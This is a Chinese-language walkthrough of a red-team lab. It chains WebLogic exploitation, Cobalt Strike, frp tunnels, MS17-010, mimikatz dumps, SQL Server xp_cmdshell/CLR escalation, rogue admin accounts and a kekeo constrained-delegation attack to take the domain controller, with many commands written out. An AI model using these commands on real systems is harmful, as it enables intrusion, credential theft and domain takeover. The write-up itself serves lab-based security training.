漏洞靶场实战-红队靶场从外网 Weblogic 打进内网,再到约束委派接管域控

本文主要是介绍漏洞靶场实战-红队靶场从外网 Weblogic 打进内网,再到约束委派接管域控,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!


文章目录

    • 环境搭建
    • 1.外网打点
    • 2.上线 CS
    • 3.内网横向
      • 信息收集
      • 存活探测&漏洞扫描
      • 搭建代理
      • ms17010
      • 抓密码
    • 4.二层内网域渗透
      • win7上线cs
      • 内网信息收集
      • 二层Frp代理
      • 打数据服务器SQL server
      • 上线CS
    • 5.域内委派拿域控

从外网 Weblogic 打进内网,再到约束委派接管域控

靶场来自渗透攻击红队,官方 wp 及下载地址:https://mp.weixin.qq.com/s/dcYbIfLwN-Aw0Z9XxQSGkQ

本靶场存在的漏洞:

GPP:admin:admin!@#45
存在 GPP 漏洞
存在 MS14-068
存在 CVE-2020-1472
Exchange 各种漏洞都可尝试
可尝试非约束委派
可尝试约束委派
存在 CVE-2019-1388
存在 CVE-2019-0708

环境搭建

虚拟机文件比较大,解压之后有 74.8G,所以要保证有足够的空间,建议使用固态硬盘,解压之后直接使用 VMware 扫描虚拟机并依次获取权限

image-20220507102253091

网站拓扑

图片

更新一下上图的环境

网关 IP:192.168.43.252
Kali IP:192.168.43.58
Windows 11 hacker IP:192.168.43.166
Windows 2012 IP:192.168.43.92

发现 Windows 可以 ping 通 Kali,但是 kali 却 ping 不通,很容易想到是 Windows 的防火墙问题,关掉即可

还需要注意一个问题,这里选择的是桥接模式,之前都是 nat,其实用哪一种都行

image-20220507144405849

这个图就很好地说明了之前的区别,就是使用 nat 模式的物理机是可以访问所有虚拟机的但是虚拟机无法访问物理机,使用桥接就可以相互访问,还有说如果是需要认证的校园网大概率用户不了桥接模式(虚拟机没法联网)

靶机一的 weblogic 需要手动开启

weblogic 安装目录:C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain(手动运行下 startWebLogic.cmd)

1.外网打点

目标 IP:192.168.43.92

使用 nmap 进行端口扫描服务发现

nmap -sV -sT -Pn 192.168.43.92

在一般实战中建议制定端口扫描,因为速度快且扫描精度高

nmap -v -Pn -T3 -sV -n -sT --open -p 22,1222,2222,22345,23,21,445,135,139,5985,2121,3389,13389,6379,4505,1433,3306,5000,5236,5900,5432,1521,1099,53,995,8140,993,465,878,7001,389,902,1194,1080,88 192.168.43.92

image-20220507152533105

发现开放了 7001 端口,即 weblogic 服务

http://192.168.43.92:7001/console/login/LoginForm.jsp

image-20220507150339521

利用工具下载,过于脚本小子了

image-20220507152649200

执行命令发现是 administrator 权限,并且可以连通外网

image-20220507152734392

2.上线 CS

直接执行 Powershell 命令上线 CS

在 VPS 或者虚拟机 kali 上开启 CS server,生成监听器,执行命令

image-20220507160155736

上线

image-20220507160209182

通过命令发现存在第二个网卡,是一个内网网段

image-20220507160554444

3.内网横向

信息收集

  • 抓取主机密码

    image-20220507161002707

    WEBLOGIC\Administrator ccef208c6485269c20db2cad21734fe7
    

    靶机为 WinServer 2012 所以不能直接读明文密码

  • 判断是否在域内

    ipconfig /all
    

    image-20220507162339102

    判断在工作组中而不是在域中

    使用以下两条命令再确认一下

    systeminfo
    net config workstation
    

    image-20220507162536101

    image-20220507162502035

存活探测&漏洞扫描

CS 导入 Cobalt-Strike-Aggressor-Scripts 插件组,插件下载地址:https://github.com/timwhitez/Cobalt-Strike-Aggressor-Scripts

image-20220507163012012

加载之后右击主机列表会出现很多工具

image-20220507163102893

向 Victim 机器上传 nbtscan,之后执行 nbtscan 输入目标 10.10.20.0/24

image-20220507163330797

发现一台机器 IP 为 10.10.20.7

通过文件管理上传 fscan 进行扫描

shell fscan_win32.exe -h 10.10.20.0/24

确定目标机器为 win7 系统,并且存在永恒之蓝

image-20220507163928351

搭建代理

  1. 搭建 Frp 隧道,进行漏洞利用,Kali 上配置 Frps.ini 配置文件

    image-20220507164347971

    启动 Frps

    ./frps -c frps.ini
    

    image-20220507164613634

  2. Victim 上传 frpc.exe 和 frpc.ini

    [common]
    server_addr = VPS/kali ip
    server_port = 7000[plugin_socks]
    type = tcp
    remote_port = 7777
    plugin = socks5
    

    启动 frpc

    shell frpc.exe -c frpc.ini
    

    image-20220507165114178

    启动之后代理就搭建完毕了,这样攻击者就可以通过跳板机 weblogic 靶机向内网发起访问请求

ms17010

因为内网 win7 主机存在 ms17010 直接用 msf

首先拿到 meterpreter 会话

msf6 > setg Proxies socks5:192.168.43.58:7777
msf6 > setg ReverseAllowProxy true
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set payload windows/x64/meterpreter/bind_tcp
msf6 > set rhost 10.10.20.7
msf6 > run

proxy 的 IP 就是 kali 的 IP,rhost 就是内网地址

在 msf 攻击中可以清晰的看到攻击流程,使用的是目标 smb 445 端口

第一次以蓝屏终结

image-20220508105156665

MSF永恒之蓝mf17010失败原因

  1. 一次没有成功再多次尝试
  2. 目标机器蓝屏
  3. MSF payload 为 64 位目标机器也需要 64 位,也 python 有 32 位 的 payload
  4. 永恒之蓝流量比较大

修改了下 win7 靶机内存调整到了 2G,第二次尝试成功

image-20220508105707845

拿到 meterpreter

image-20220508105805150

抓密码

加载 mimikatz 读密码

load mimikatz
msv
kerberos

image-20220508105943889

image-20220508110552191

也可以加载新版 mimikatz - wiki

image-20220508110643832

可以发现没有明文密码,因为 win7 管理员没有登录,所以没有抓取到明文密码,只需要管理员登录机器再次执行命令就可以抓到明文密码

image-20220508111022485

4.二层内网域渗透

PS:因为我的电脑重启地址基本都换了,更新下 IP,需要重新搭 frp 和 msf 连接

server 2012 weblogic:192.168.43.93

kali:192.168.43.99

win7上线cs

在 cs 中 win7 中转上线,现在上线 cs 的几种思路

  1. msf 上传 cs 的后门 exe 执行
  2. msf 的 meterpeter spawn 到 cs 会话
  3. cs 通过 ipc$ 上传 cs 后门到 win7 靶机通过计划任务执行

使用方案一

1.CS 设置中转监听器

image-20220508111333148

image-20220508111338364

2.生成后门

image-20220508131115128

把后门上传到 kali,然后在 msf 中使用命令上传到靶机 win7

image-20220508132517982

进入 shell,执行 beacon.exe

image-20220508132547578

成功上线 cs

image-20220508132607160

内网信息收集

  • shell whoami
    

    image-20220508132840943

    shell ipconfig
    

    发现内网 10.10.10.0/24 段

    image-20220508132931259

  • 判断是否域环境

    shell ipconfig /all
    

    image-20220508133208864

    shell net user /domain
    

    image-20220508133248296

  • 确定域控主机 IP

    net group "Domain Controllers" /domain
    或者 net time /domain
    ping owa -n 2
    

    image-20220508133655941

    image-20220508133445538

当前进程是没有域管的,所以暂且放弃令牌窃取

image-20220508134529747

由于我们已经通过 ms17010 -> mimikatz 拿到了一个域用户的账户密码,尝试查找约束委派的用户

首先向 win7 靶机上传 adfind 工具

# 查询配置了非约束委派的主机:
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
# 查询配置了非约束委派的用户:
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
# 查询配置了约束委派的主机:
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto# 查询配置了约束委派的用户:
AdFind.exe -h 10.10.10.8 -u saul -up admin!@#45 -b "DC=redteam,DC=red" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

image-20220508135251614

找到了一个 sqlserver 的用户是被设置了约束委派,得想办法搞到这个用户的账密

上传 fscan.exe 到靶机进行信息收集和漏洞扫描

image-20220508154210862

PS:如果没有扫到 1433 端口,就进虚拟机把 SQL server 启动,启动不了

看这篇文章:链接,因为过试用期了,需要升级重新输入密码

正常启动

image-20220508154057558

根据他开放的端口尝试以下操作:

  1. 80 端口 web 漏洞
  2. 1433 SQL server 漏洞
  3. 445 smb 等端口系统漏洞

其他拿域控思路:域控被突破的几种途径v2

二层Frp代理

现在尝试 80 端口漏洞

image-20220508161840412

  1. 搭建使用 frp 多层代理,修改 weblogic 的 frp 配置文件,weblogic 既是客户端,也是服务端,需要修改 frps.ini,通过 cs 上传 frps 和 frps.ini

    image-20220508155905811

    启动 frps

    shell frps.exe -c frps.ini
    
  2. 数据服务器开启 frpc

    shell frpc.exe -c frpc.ini
    
    [common]
    server_addr = 10.10.20.12
    server_port = 1111[http_proxy]
    type = tcp
    remote_port = 7777
    plugin = socks5
    

    建立链接

    image-20220508162507851

    image-20220508162514238

  3. 在攻击者的 windows 电脑上可以用 proxifier 设置代理链

    image-20220508162704748

    image-20220508162717407

    在攻击者的 windows 电脑上可以正常访问 10.10.10.18

    image-20220508162922505

发现 80 端口并没有什么利用点,尝试利用 SQL sever,因为现在搭建了二层代理所以部分操作可以用 windows 物理机直接攻击

打数据服务器SQL server

尝试爆破 SQL server 密码

使用工具成功爆破用户密码

image-20220508163342992

可以看到流量被转发

image-20220508163339943

这样就拿到了域控主机的 SQL server 密码

随后利用 SharpSQLTools.exe 工具对其进行 xp_cmdshell 调用系统命令,或者 SqlKnife 这个工具

.\SharpSQLTools.exe 10.10.10.18 sa sa master xp_cmdshell whoami

image-20220508164101746

却认为域控 ip

image-20220508164215612

目前的权限是nt authority\network service 即为普通服务权限,

由于目标机器不出网不存在让他下载我们的 exe,随后使用 MSF + Proxychains 调用 xpcmdshell 模块上线到 MSF,但是失败了

image-20220508164827961

既然上线失败且目标是 iis,那么想办法找到 iis 到目录写个一句话吧

一般 iis 的目录是:C:\inetpub\wwwroot,那么查看下是否存在

image-20220508165057165

确实存在此目录,尝试写入文件,权限太小失败

image-20220508165248135

在 MSSQL 中使用 CLR 组件提权,提权原理可以看这篇文章:https://www.anquanke.com/post/id/250346

在搜这个提权的时候还发现了一个华点就是搜关键词 install_clr 就可以搜到这个靶场的 wp

使用 SharpSQLTools 开启目标 clr,进行提权

SharpSQLTools.exe 10.10.10.18 sa sa master install_clr whoami

image-20220508165906554

然后启用并调用命令:

SharpSQLTools.exe 10.10.10.18 sa sa master enable_clr
SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato whoami

image-20220508170007322

提权成功,只能说太牛皮了

添加一个管理员权限用户,用户名为 ocean.com 密码为 qwe.123

SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato "net user ocean.com qwe.123 /add"

image-20220508170331564

升级为 admin 组

SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato "net localgroup administrators ocean.com /add"

image-20220508170508054

查看用户

SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato "net user"

image-20220508170619457

其他师傅试了多种方法都不行,他们最终选择了 msf,我就直接用 msf 了,其他师傅的文章可以在参考连接中找到

上线CS

漏洞利用拿下的 win7 做中继,用 CS 生成马,通过 meterpreter 传上去 msf 的 payload,但是需要首先为 kali 设置代理,因为之前使用 frp 搭建了二层隧道,所以这里只需要设置 proxychains 的配置文件即可

1.设置 kali proxychains 代理保证 kali msf 可以访问到 10.10.10.18

vi /etc/proxychains.conf

代理链就和 Windows 物理机一样

image-20220508172723808

2.上线 msf

使用代理启动 msf

proxychains msfconsole

使用 mssql_clr_payload 模块

use exploit/windows/mssql/mssql_clr_payload

image-20220508172257116

3.生成中转上线的 cs 马,新建一个监听器,这里需要多层代理

生成 beacon.exe

4.通过 msf 上传 beacon.exe 并且执行,上线 sc,但是只有服务权限

使用 SharpSQLTools.exe 去执行 beacon,获取高权限用户,拿到 SQL server 主机

5.域内委派拿域控

cs 中拿到用户密码

image-20220509080607350

之前信息搜集的时候我们知道 sqlserver 是一个约束委派的用户,我们可以通过约束委派攻击来接管域控

通过 cs 上传工具 kekeo,利用 kekeo 请求该用户的 TGT:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi

kekeo.exe "tgt::ask /user:sqlserver /domain:redteam.red /password:Server12345 /ticket:administrator.kirbi"

然后使用这张 TGT (TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi) 获取域机器的 ST:TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi

kekeo.exe "tgs::s4u /tgt:TGT_sqlserver@REDTEAM.RED_krbtgt~redteam.red@REDTEAM.RED.kirbi /user:Administrator@redteam.red /service:cifs/owa.redteam.red"

image-20220509082530523

使用 mimikatz 将 ST2 导入当前会话即可,运行 mimikatz 进行 ptt:

mimikatz kerberos::ptt TGS_Administrator@redteam.red@REDTEAM.RED_cifs~owa.redteam.red@REDTEAM.RED.kirbi

image-20220509082625206

image-20220509082653026

参考链接

http://moonflower.fun/index.php/2022/03/06/300/

https://mp.weixin.qq.com/s/dcYbIfLwN-Aw0Z9XxQSGkQ

https://xie.infoq.cn/article/2edac2bc38860fa97386f7c27

这篇关于漏洞靶场实战-红队靶场从外网 Weblogic 打进内网,再到约束委派接管域控的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/172691

相关文章

Spring Boot + MyBatis Plus 高效开发实战从入门到进阶优化(推荐)

《SpringBoot+MyBatisPlus高效开发实战从入门到进阶优化(推荐)》本文将详细介绍SpringBoot+MyBatisPlus的完整开发流程,并深入剖析分页查询、批量操作、动... 目录Spring Boot + MyBATis Plus 高效开发实战:从入门到进阶优化1. MyBatis

MyBatis 动态 SQL 优化之标签的实战与技巧(常见用法)

《MyBatis动态SQL优化之标签的实战与技巧(常见用法)》本文通过详细的示例和实际应用场景,介绍了如何有效利用这些标签来优化MyBatis配置,提升开发效率,确保SQL的高效执行和安全性,感... 目录动态SQL详解一、动态SQL的核心概念1.1 什么是动态SQL?1.2 动态SQL的优点1.3 动态S

Pandas使用SQLite3实战

《Pandas使用SQLite3实战》本文主要介绍了Pandas使用SQLite3实战,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学... 目录1 环境准备2 从 SQLite3VlfrWQzgt 读取数据到 DataFrame基础用法:读

Python实战之屏幕录制功能的实现

《Python实战之屏幕录制功能的实现》屏幕录制,即屏幕捕获,是指将计算机屏幕上的活动记录下来,生成视频文件,本文主要为大家介绍了如何使用Python实现这一功能,希望对大家有所帮助... 目录屏幕录制原理图像捕获音频捕获编码压缩输出保存完整的屏幕录制工具高级功能实时预览增加水印多平台支持屏幕录制原理屏幕

最新Spring Security实战教程之Spring Security安全框架指南

《最新SpringSecurity实战教程之SpringSecurity安全框架指南》SpringSecurity是Spring生态系统中的核心组件,提供认证、授权和防护机制,以保护应用免受各种安... 目录前言什么是Spring Security?同类框架对比Spring Security典型应用场景传统

最新Spring Security实战教程之表单登录定制到处理逻辑的深度改造(最新推荐)

《最新SpringSecurity实战教程之表单登录定制到处理逻辑的深度改造(最新推荐)》本章节介绍了如何通过SpringSecurity实现从配置自定义登录页面、表单登录处理逻辑的配置,并简单模拟... 目录前言改造准备开始登录页改造自定义用户名密码登陆成功失败跳转问题自定义登出前后端分离适配方案结语前言

OpenManus本地部署实战亲测有效完全免费(最新推荐)

《OpenManus本地部署实战亲测有效完全免费(最新推荐)》文章介绍了如何在本地部署OpenManus大语言模型,包括环境搭建、LLM编程接口配置和测试步骤,本文给大家讲解的非常详细,感兴趣的朋友一... 目录1.概况2.环境搭建2.1安装miniconda或者anaconda2.2 LLM编程接口配置2

基于Canvas的Html5多时区动态时钟实战代码

《基于Canvas的Html5多时区动态时钟实战代码》:本文主要介绍了如何使用Canvas在HTML5上实现一个多时区动态时钟的web展示,通过Canvas的API,可以绘制出6个不同城市的时钟,并且这些时钟可以动态转动,每个时钟上都会标注出对应的24小时制时间,详细内容请阅读本文,希望能对你有所帮助...

Spring AI与DeepSeek实战一之快速打造智能对话应用

《SpringAI与DeepSeek实战一之快速打造智能对话应用》本文详细介绍了如何通过SpringAI框架集成DeepSeek大模型,实现普通对话和流式对话功能,步骤包括申请API-KEY、项目搭... 目录一、概述二、申请DeepSeek的API-KEY三、项目搭建3.1. 开发环境要求3.2. mav

Python与DeepSeek的深度融合实战

《Python与DeepSeek的深度融合实战》Python作为最受欢迎的编程语言之一,以其简洁易读的语法、丰富的库和广泛的应用场景,成为了无数开发者的首选,而DeepSeek,作为人工智能领域的新星... 目录一、python与DeepSeek的结合优势二、模型训练1. 数据准备2. 模型架构与参数设置3